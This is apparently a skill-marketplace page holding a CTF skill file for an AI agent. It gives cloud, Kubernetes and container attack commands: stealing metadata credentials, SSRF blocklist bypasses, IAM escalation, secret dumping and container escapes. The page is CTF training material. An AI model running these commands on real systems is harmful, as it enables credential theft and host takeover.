[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M764CER1117D8HBM5WSGCNGA":3,"skill-same:01M764CER1117D8HBM5WSGCNGA":66},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":35,"ownerDescription":36,"updatedAt":37,"install":38,"resources":51},"01M764CER1117D8HBM5WSGCNGA","ctf-cloud",null,"Provides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata (169.254.169.254), S3 or blob storage, IAM policies, ECS task roles, Lambda, a Kubernetes service-account token or kubelet, a Docker socket or container escape, a privileged pod, CI\u002FCD runner secrets, or leaked Terraform and cloud-init configuration. Also use when an SSRF reaches a metadata endpoint or cloud credentials appear in an environment, config file or response. Do not use it for plain web application bugs with no cloud layer, native binary memory corruption, or disk and memory forensics.","jiayaoqijia\u002Fcryptoskill","jiayaoqijia","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F1453879?v=4","01M6GMYTX7Q7S504VC6E756ENR","YQ","01M6GMYV1QKJ1CC75MTTGT9PR0",81,"MIT","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdev-tools\u002Fabhay2008-ctf-cloud\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdev-tools\u002Fabhay2008-ctf-cloud\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: ctf-cloud\ndescription: Provides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata (169.254.169.254), S3 or blob storage, IAM policies, ECS task roles, Lambda, a Kubernetes service-account token or kubelet, a Docker socket or container escape, a privileged pod, CI\u002FCD runner secrets, or leaked Terraform and cloud-init configuration. Also use when an SSRF reaches a metadata endpoint or cloud credentials appear in an environment, config file or response. Do not use it for plain web application bugs with no cloud layer, native binary memory corruption, or disk and memory forensics.\nlicense: MIT\ncompatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.\nallowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch Skill\nmetadata:\n  user-invocable: \"false\"\n---\n\n# CTF Cloud, Container & Kubernetes\n\nCloud challenges are almost always **credential chains**: find one credential, use it to read one more, escalate, then read the flag from the service that holds it. Map the chain before firing tools.\n\n## Scope and safety\n\nOnly touch accounts, endpoints and clusters the challenge gives you. Never run enumeration against real cloud accounts, and never leave IAM users, access keys or pods behind on shared infrastructure. Keep artifacts under `ctf-solver\u002Fworkspaces\u002F\u003Cchallenge>\u002F`.\n\n## Prerequisites\n\n```bash\npip install awscli boto3          # awscli is already present in the ctf-solver image\n# optional, per target:\n#   azure-cli, google-cloud-cli, kubectl, kubelet, docker CLI, jq\n```\n\nThe container ships `aws` and `jq` but **not** `kubectl`, `docker`, `az` or `gcloud` — check with `command -v` before planning a step that needs them, and install only what the challenge actually requires.\n\n## Step 1: What do you actually hold?\n\n| You have | Start here |\n|---|---|\n| An SSRF, URL fetch, or \"preview link\" feature | Metadata endpoints below |\n| `AWS_*` env vars, `~\u002F.aws\u002Fcredentials`, or a key in a response | Credential triage |\n| A `kubeconfig`, `KUBERNETES_SERVICE_HOST`, or a file at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken` | Kubernetes |\n| `\u002Fvar\u002Frun\u002Fdocker.sock`, `docker` group, `CAP_SYS_ADMIN`, or a privileged container | Container escape |\n| A repo with `terraform\u002F`, `cloudformation\u002F`, `.github\u002Fworkflows\u002F`, `.gitlab-ci.yml` | CI\u002FCD and IaC |\n| A Lambda\u002FFunction URL or a serverless invoke permission | Serverless |\n\n## Metadata endpoints\n\n```bash\n# AWS EC2 (IMDSv1) — role name first, then credentials\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole-name>\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fdynamic\u002Finstance-identity\u002Fdocument\n\n# AWS EC2 (IMDSv2) — a token is required, so a plain GET returns 401\nTOKEN=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# AWS ECS \u002F Fargate task role\ncurl -s \"http:\u002F\u002F169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\"\n\n# GCP — the header is mandatory\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fattributes\u002F\n\n# Azure — the Metadata header is mandatory\ncurl -s -H \"Metadata: true\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\"\n\n# Others: DigitalOcean \u002Fmetadata\u002Fv1\u002F, Alibaba 100.100.100.200, OpenStack 169.254.169.254\u002Fopenstack\n```\n\nSSRF notes that decide these challenges:\n\n- **IMDSv2 needs a PUT**, so an SSRF that only follows GETs will fail against a hardened instance. Look for a redirect or a request-method primitive.\n- AWS also answers on `http:\u002F\u002F[fd00:ec2::254]` over IPv6 — useful when the SSRF blocks the IPv4 literal but allows a bracketed IPv6 host.\n- A blocklist for `169.254.169.254` is often bypassable with decimal\u002Foctal\u002Fhex IPs (`2852039166`, `0251.0376.0251.0376`), a DNS name resolving to it, or a redirect from an allowed host.\n- `user-data` frequently contains bootstrap secrets, and `instance-identity\u002Fdocument` gives region and account ID needed for CLI calls.\n\n## Credential triage (AWS)\n\n```bash\naws sts get-caller-identity                      # who am I, which account\nexport AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... AWS_DEFAULT_REGION=us-east-1\n\n# enumerate what this identity can see\naws iam list-attached-user-policies --user-name \u003Cme>\naws iam list-user-policies --user-name \u003Cme>\naws iam get-policy-version --policy-arn \u003Carn> --version-id v1\naws s3 ls\naws secretsmanager list-secrets\naws ssm describe-parameters\naws lambda list-functions\naws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,Tags]'\n```\n\nIf the identity is a role, `aws sts assume-role` into anything its trust policy allows — a trust policy with `\"Principal\": {\"AWS\": \"*\"}` and no `ExternalId` condition is the usual intended path.\n\nIAM escalation primitives worth testing in order of reliability:\n\n- `iam:CreatePolicyVersion` with `--set-as-default` on a policy you already attach to yourself\n- `iam:AttachUserPolicy` \u002F `PutUserPolicy` (self-attach `AdministratorAccess`)\n- `iam:PassRole` + `lambda:CreateFunction` (or `ec2:RunInstances`) → run as a more privileged role\n- `lambda:UpdateFunctionCode` on an existing function → execute inside its role, then read `os.environ`\n- `iam:CreateAccessKey` on another user, `sts:AssumeRole` on a permissive role\n\nS3 specifics: `aws s3 ls s3:\u002F\u002F\u003Cbucket> --no-sign-request` tests for public read; `aws s3 cp s3:\u002F\u002F\u003Cbucket>\u002Fflag.txt -` reads it; a bucket in another region needs `--region`. Bucket policies, ACLs and `list-object-versions` (old versions often keep deleted flags) are all fair game.\n\n## Kubernetes\n\n```bash\n# from inside a pod\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nkubectl --server=https:\u002F\u002Fkubernetes.default.svc --token=\"$TOKEN\" \\\n  --certificate-authority=\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fca.crt \\\n  auth can-i --list\nkubectl --server=https:\u002F\u002Fkubernetes.default.svc --token=\"$TOKEN\" --insecure-skip-tls-verify get secrets -A\n```\n\nCommon intended paths:\n\n- **Over-permissive RBAC** — `create pods` or `create deployments` in a namespace lets you schedule a pod with `hostPath: \u002F` and read the node, or mount the flag from a secret.\n- **Secret read** — `get secrets` in the target namespace is usually the whole challenge; decode with `base64 -d`.\n- **`pods\u002Fexec`** — exec into a pod that already has the flag or a more privileged token.\n- **Kubelet API** on `:10250` (`\u002Fpods`, `\u002Frun\u002F\u003Cns>\u002F\u003Cpod>\u002F\u003Ccontainer>`) — anonymous auth or a stolen kubelet client cert; `:10255` is the read-only port.\n- **etcd** on `:2379` with no client cert — `etcdctl get \u002F --prefix --keys-only` dumps every secret.\n- **Token projection abuse** — a pod that can create `ServiceAccountToken` requests, or a long-lived token in a leaked manifest.\n\nEscape pod skeleton (only when RBAC allows creating pods):\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: \u003Cns>}\nspec:\n  hostPID: true\n  hostNetwork: true\n  containers:\n    - name: c\n      image: alpine\n      command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 100000\"]\n      securityContext: {privileged: true}\n      volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\n```\n\nThen `nsenter --target 1 --mount --uts --ipc --net --pid -- sh` or read `\u002Fhost\u002Fflag`.\n\n## Container escape\n\n| Condition | Escape |\n|---|---|\n| `\u002Fvar\u002Frun\u002Fdocker.sock` mounted | `docker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -v \u002F:\u002Fhost --rm -it alpine chroot \u002Fhost sh` |\n| Privileged container | mount the host disk: `mkdir \u002Fmnt\u002Fh && mount \u002Fdev\u002Fsda1 \u002Fmnt\u002Fh`, or `nsenter` via `hostPID` |\n| `CAP_SYS_ADMIN` | `mkdir \u002Ftmp\u002Fc && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fc` then the cgroup v1 `release_agent` trick |\n| Host PID namespace | `nsenter -t 1 -m -u -i -n -p -- sh`, or read `\u002Fproc\u002F1\u002Froot\u002Fflag` |\n| Writable `\u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern` | pipe a core handler to a script you control, then crash a privileged process |\n| Only a weak seccomp\u002FAppArmor gap | see [ctf-pwn](..\u002Fctf-pwn\u002FSKILL.md) for the binary-level path |\n\nAlways check the basics first: `id`, `capsh --print`, `cat \u002Fproc\u002F1\u002Fcgroup` (tells you whether you are in Docker\u002FK8s), `mount | head`, `ls -l \u002Fvar\u002Frun\u002Fdocker.sock`, `ls \u002Fdev`, and whether `\u002F` is the host filesystem already.\n\n## CI\u002FCD and IaC\n\n- `.github\u002Fworkflows\u002F*.yml` — `pull_request_target`, `workflow_run`, and unpinned `actions\u002Fcheckout` in a privileged job are the classic escalation; a token in `${{ secrets.X }}` printed by a modified step leaks it.\n- `.gitlab-ci.yml` — `CI_JOB_TOKEN` scope, unprotected branches running on shared runners, `artifacts` containing credentials.\n- Jenkins — `\u002Fscript` Groovy console, `jenkins-cli`, credentials bound to a job you can edit.\n- Terraform state (`terraform.tfstate`, `.terraform\u002F`) holds plaintext secrets and ARNs — read it before anything else. `cloud-init`\u002F`user-data` in the repo is the same idea.\n- `.git\u002Fconfig` with an embedded token, and `git log -p` on a repo where a secret was committed then removed.\n\n## Serverless\n\n```bash\naws lambda get-function-configuration --function-name \u003Cfn> --query 'Environment'\naws lambda invoke --function-name \u003Cfn> --payload '{}' out.json && cat out.json\n```\n\n`Environment.Variables` usually holds the flag or a database password. Function URLs and API Gateway stages may be invokeable without auth (`--no-sign-request` equivalent: plain `curl`).\n\n## Common flag locations\n\n- EC2\u002FECS `user-data`, SSM Parameter Store, Secrets Manager values\n- S3\u002FGCS\u002FAzure blob objects, including non-current object versions\n- Kubernetes Secrets, pod env vars, ConfigMaps, node filesystem via `hostPath`\n- Lambda environment variables, CI job logs, Terraform state\n- `\u002Fflag`, `\u002Froot\u002Fflag`, `\u002Fhost\u002Fflag` after a container escape\n\n## When to pivot\n\n- The cloud flaw is reached through an SSRF or an app bug → `\u002Fctf-web` for the injection side\n- You land in a privileged container and the challenge becomes a kernel or binary exploit → `\u002Fctf-pwn`\n- The \"cloud\" challenge is really a crypto\u002FJWT signing problem with cloud-shaped names → `\u002Fctf-crypto`\n- You need the original Kubernetes RBAC and Docker escape write-ups → [..\u002Fctf-misc\u002Fgames-and-vms.md](..\u002Fctf-misc\u002Fgames-and-vms.md#kubernetes-rbac-bypass) and [..\u002Fctf-misc\u002Fgames-and-vms-3.md](..\u002Fctf-misc\u002Fgames-and-vms-3.md#docker-container-escape-techniques)\n\n## Verify\n\n```bash\naws sts get-caller-identity\nkubectl version --client\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}\\n' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\nNever report a flag read from a decoy path without confirming it matches the challenge's expected format.\n","# CTF Cloud, Container & Kubernetes\n\nCloud challenges are almost always **credential chains**: find one credential, use it to read one more, escalate, then read the flag from the service that holds it. Map the chain before firing tools.\n\n## Scope and safety\n\nOnly touch accounts, endpoints and clusters the challenge gives you. Never run enumeration against real cloud accounts, and never leave IAM users, access keys or pods behind on shared infrastructure. Keep artifacts under `ctf-solver\u002Fworkspaces\u002F\u003Cchallenge>\u002F`.\n\n## Prerequisites\n\n```bash\npip install awscli boto3          # awscli is already present in the ctf-solver image\n# optional, per target:\n#   azure-cli, google-cloud-cli, kubectl, kubelet, docker CLI, jq\n```\n\nThe container ships `aws` and `jq` but **not** `kubectl`, `docker`, `az` or `gcloud` — check with `command -v` before planning a step that needs them, and install only what the challenge actually requires.\n\n## Step 1: What do you actually hold?\n\n| You have | Start here |\n|---|---|\n| An SSRF, URL fetch, or \"preview link\" feature | Metadata endpoints below |\n| `AWS_*` env vars, `~\u002F.aws\u002Fcredentials`, or a key in a response | Credential triage |\n| A `kubeconfig`, `KUBERNETES_SERVICE_HOST`, or a file at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken` | Kubernetes |\n| `\u002Fvar\u002Frun\u002Fdocker.sock`, `docker` group, `CAP_SYS_ADMIN`, or a privileged container | Container escape |\n| A repo with `terraform\u002F`, `cloudformation\u002F`, `.github\u002Fworkflows\u002F`, `.gitlab-ci.yml` | CI\u002FCD and IaC |\n| A Lambda\u002FFunction URL or a serverless invoke permission | Serverless |\n\n## Metadata endpoints\n\n```bash\n# AWS EC2 (IMDSv1) — role name first, then credentials\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\u003Crole-name>\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fdynamic\u002Finstance-identity\u002Fdocument\n\n# AWS EC2 (IMDSv2) — a token is required, so a plain GET returns 401\nTOKEN=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# AWS ECS \u002F Fargate task role\ncurl -s \"http:\u002F\u002F169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}\"\n\n# GCP — the header is mandatory\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\ncurl -s -H \"Metadata-Flavor: Google\" \\\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fattributes\u002F\n\n# Azure — the Metadata header is mandatory\ncurl -s -H \"Metadata: true\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\"\n\n# Others: DigitalOcean \u002Fmetadata\u002Fv1\u002F, Alibaba 100.100.100.200, OpenStack 169.254.169.254\u002Fopenstack\n```\n\nSSRF notes that decide these challenges:\n\n- **IMDSv2 needs a PUT**, so an SSRF that only follows GETs will fail against a hardened instance. Look for a redirect or a request-method primitive.\n- AWS also answers on `http:\u002F\u002F[fd00:ec2::254]` over IPv6 — useful when the SSRF blocks the IPv4 literal but allows a bracketed IPv6 host.\n- A blocklist for `169.254.169.254` is often bypassable with decimal\u002Foctal\u002Fhex IPs (`2852039166`, `0251.0376.0251.0376`), a DNS name resolving to it, or a redirect from an allowed host.\n- `user-data` frequently contains bootstrap secrets, and `instance-identity\u002Fdocument` gives region and account ID needed for CLI calls.\n\n## Credential triage (AWS)\n\n```bash\naws sts get-caller-identity                      # who am I, which account\nexport AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... AWS_DEFAULT_REGION=us-east-1\n\n# enumerate what this identity can see\naws iam list-attached-user-policies --user-name \u003Cme>\naws iam list-user-policies --user-name \u003Cme>\naws iam get-policy-version --policy-arn \u003Carn> --version-id v1\naws s3 ls\naws secretsmanager list-secrets\naws ssm describe-parameters\naws lambda list-functions\naws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,Tags]'\n```\n\nIf the identity is a role, `aws sts assume-role` into anything its trust policy allows — a trust policy with `\"Principal\": {\"AWS\": \"*\"}` and no `ExternalId` condition is the usual intended path.\n\nIAM escalation primitives worth testing in order of reliability:\n\n- `iam:CreatePolicyVersion` with `--set-as-default` on a policy you already attach to yourself\n- `iam:AttachUserPolicy` \u002F `PutUserPolicy` (self-attach `AdministratorAccess`)\n- `iam:PassRole` + `lambda:CreateFunction` (or `ec2:RunInstances`) → run as a more privileged role\n- `lambda:UpdateFunctionCode` on an existing function → execute inside its role, then read `os.environ`\n- `iam:CreateAccessKey` on another user, `sts:AssumeRole` on a permissive role\n\nS3 specifics: `aws s3 ls s3:\u002F\u002F\u003Cbucket> --no-sign-request` tests for public read; `aws s3 cp s3:\u002F\u002F\u003Cbucket>\u002Fflag.txt -` reads it; a bucket in another region needs `--region`. Bucket policies, ACLs and `list-object-versions` (old versions often keep deleted flags) are all fair game.\n\n## Kubernetes\n\n```bash\n# from inside a pod\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nkubectl --server=https:\u002F\u002Fkubernetes.default.svc --token=\"$TOKEN\" \\\n  --certificate-authority=\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fca.crt \\\n  auth can-i --list\nkubectl --server=https:\u002F\u002Fkubernetes.default.svc --token=\"$TOKEN\" --insecure-skip-tls-verify get secrets -A\n```\n\nCommon intended paths:\n\n- **Over-permissive RBAC** — `create pods` or `create deployments` in a namespace lets you schedule a pod with `hostPath: \u002F` and read the node, or mount the flag from a secret.\n- **Secret read** — `get secrets` in the target namespace is usually the whole challenge; decode with `base64 -d`.\n- **`pods\u002Fexec`** — exec into a pod that already has the flag or a more privileged token.\n- **Kubelet API** on `:10250` (`\u002Fpods`, `\u002Frun\u002F\u003Cns>\u002F\u003Cpod>\u002F\u003Ccontainer>`) — anonymous auth or a stolen kubelet client cert; `:10255` is the read-only port.\n- **etcd** on `:2379` with no client cert — `etcdctl get \u002F --prefix --keys-only` dumps every secret.\n- **Token projection abuse** — a pod that can create `ServiceAccountToken` requests, or a long-lived token in a leaked manifest.\n\nEscape pod skeleton (only when RBAC allows creating pods):\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: \u003Cns>}\nspec:\n  hostPID: true\n  hostNetwork: true\n  containers:\n    - name: c\n      image: alpine\n      command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 100000\"]\n      securityContext: {privileged: true}\n      volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\n```\n\nThen `nsenter --target 1 --mount --uts --ipc --net --pid -- sh` or read `\u002Fhost\u002Fflag`.\n\n## Container escape\n\n| Condition | Escape |\n|---|---|\n| `\u002Fvar\u002Frun\u002Fdocker.sock` mounted | `docker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -v \u002F:\u002Fhost --rm -it alpine chroot \u002Fhost sh` |\n| Privileged container | mount the host disk: `mkdir \u002Fmnt\u002Fh && mount \u002Fdev\u002Fsda1 \u002Fmnt\u002Fh`, or `nsenter` via `hostPID` |\n| `CAP_SYS_ADMIN` | `mkdir \u002Ftmp\u002Fc && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fc` then the cgroup v1 `release_agent` trick |\n| Host PID namespace | `nsenter -t 1 -m -u -i -n -p -- sh`, or read `\u002Fproc\u002F1\u002Froot\u002Fflag` |\n| Writable `\u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern` | pipe a core handler to a script you control, then crash a privileged process |\n| Only a weak seccomp\u002FAppArmor gap | see [ctf-pwn](..\u002Fctf-pwn\u002FSKILL.md) for the binary-level path |\n\nAlways check the basics first: `id`, `capsh --print`, `cat \u002Fproc\u002F1\u002Fcgroup` (tells you whether you are in Docker\u002FK8s), `mount | head`, `ls -l \u002Fvar\u002Frun\u002Fdocker.sock`, `ls \u002Fdev`, and whether `\u002F` is the host filesystem already.\n\n## CI\u002FCD and IaC\n\n- `.github\u002Fworkflows\u002F*.yml` — `pull_request_target`, `workflow_run`, and unpinned `actions\u002Fcheckout` in a privileged job are the classic escalation; a token in `${{ secrets.X }}` printed by a modified step leaks it.\n- `.gitlab-ci.yml` — `CI_JOB_TOKEN` scope, unprotected branches running on shared runners, `artifacts` containing credentials.\n- Jenkins — `\u002Fscript` Groovy console, `jenkins-cli`, credentials bound to a job you can edit.\n- Terraform state (`terraform.tfstate`, `.terraform\u002F`) holds plaintext secrets and ARNs — read it before anything else. `cloud-init`\u002F`user-data` in the repo is the same idea.\n- `.git\u002Fconfig` with an embedded token, and `git log -p` on a repo where a secret was committed then removed.\n\n## Serverless\n\n```bash\naws lambda get-function-configuration --function-name \u003Cfn> --query 'Environment'\naws lambda invoke --function-name \u003Cfn> --payload '{}' out.json && cat out.json\n```\n\n`Environment.Variables` usually holds the flag or a database password. Function URLs and API Gateway stages may be invokeable without auth (`--no-sign-request` equivalent: plain `curl`).\n\n## Common flag locations\n\n- EC2\u002FECS `user-data`, SSM Parameter Store, Secrets Manager values\n- S3\u002FGCS\u002FAzure blob objects, including non-current object versions\n- Kubernetes Secrets, pod env vars, ConfigMaps, node filesystem via `hostPath`\n- Lambda environment variables, CI job logs, Terraform state\n- `\u002Fflag`, `\u002Froot\u002Fflag`, `\u002Fhost\u002Fflag` after a container escape\n\n## When to pivot\n\n- The cloud flaw is reached through an SSRF or an app bug → `\u002Fctf-web` for the injection side\n- You land in a privileged container and the challenge becomes a kernel or binary exploit → `\u002Fctf-pwn`\n- The \"cloud\" challenge is really a crypto\u002FJWT signing problem with cloud-shaped names → `\u002Fctf-crypto`\n- You need the original Kubernetes RBAC and Docker escape write-ups → [..\u002Fctf-misc\u002Fgames-and-vms.md](..\u002Fctf-misc\u002Fgames-and-vms.md#kubernetes-rbac-bypass) and [..\u002Fctf-misc\u002Fgames-and-vms-3.md](..\u002Fctf-misc\u002Fgames-and-vms-3.md#docker-container-escape-techniques)\n\n## Verify\n\n```bash\naws sts get-caller-identity\nkubectl version --client\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}\\n' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\nNever report a flag read from a decoy path without confirming it matches the challenge's expected format.\n",{"name":5,"license":15,"metadata":25,"description":7,"allowed-tools":27,"compatibility":28},{"user-invocable":26},"false","Bash Read Write Edit Glob Grep Task WebFetch WebSearch Skill","Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.","main","fa749116cef035d5ee7c7e7deb1aa875e30afc91","skills\u002Fdev-tools\u002Fabhay2008-ctf-cloud",17,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia","https:\u002F\u002Feth2030.com","Hardcore infra. Building @alt-research and applied cryptography.","2026-11-15 02:28:10",{"source":8,"skillName":5,"commands":39,"prompt":49,"zipAvailable":50},[40,43,46],{"tool":41,"command":42},"npx","npx skills add jiayaoqijia\u002Fcryptoskill --skill ctf-cloud",{"tool":44,"command":45},"bunx","bunx skills add jiayaoqijia\u002Fcryptoskill --skill ctf-cloud",{"tool":47,"command":48},"pnpm","pnpm dlx skills add jiayaoqijia\u002Fcryptoskill --skill ctf-cloud","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdev-tools\u002Fabhay2008-ctf-cloud\u002FSKILL.md",true,[52,56,62],{"path":53,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":16},"LICENSE","许可证",1072,{"path":57,"resourceType":58,"resourceTypeDesc":59,"sizeBytes":60,"sourceHtmlUrl":61},"SOURCE.md","REFERENCE","参考文档",350,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdev-tools\u002Fabhay2008-ctf-cloud\u002FSOURCE.md",{"path":63,"resourceType":58,"resourceTypeDesc":59,"sizeBytes":64,"sourceHtmlUrl":65},"TRUST.auto.yaml",2072,"https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fdev-tools\u002Fabhay2008-ctf-cloud\u002FTRUST.auto.yaml",[67,76,84,92,100,108],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":71,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":75},"01M7DTKCERMV0RNX3HZJP4CZ26","troves","Deposit and withdraw from Troves DeFi yield vault strategies on Starknet. View available strategies, check positions, and manage vault deposits. Use this skill when the user mentions Troves, vault, yield vault, DeFi vault, strategy, yield farming, vault deposit, vault withdraw, earning yield through vaults, passive yield strategies, or wants to deposit into or withdraw from a yield strategy — even if they don't say \"Troves\" explicitly.","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-troves\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjiayaoqijia\u002Fcryptoskill\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-servers\u002Fahmetenesdur-troves\u002FSKILL.md",[],[],"2026-11-15 14:19:17",{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":80,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":75},"01M7DTK6CJSMGC8KCQHGNYFZBD","trade","Swap tokens on Starknet via Fibrous DEX aggregator. Supports per-provider selection (avnu, ekubo, or auto to race all). Use this skill when the user wants to swap, exchange, trade, convert, buy, or sell one token for another on Starknet. Also use when the user asks about token prices, exchange rates, DEX routing, best swap route, or wants to check how much they would receive for a given amount — even if they don't explicitly say 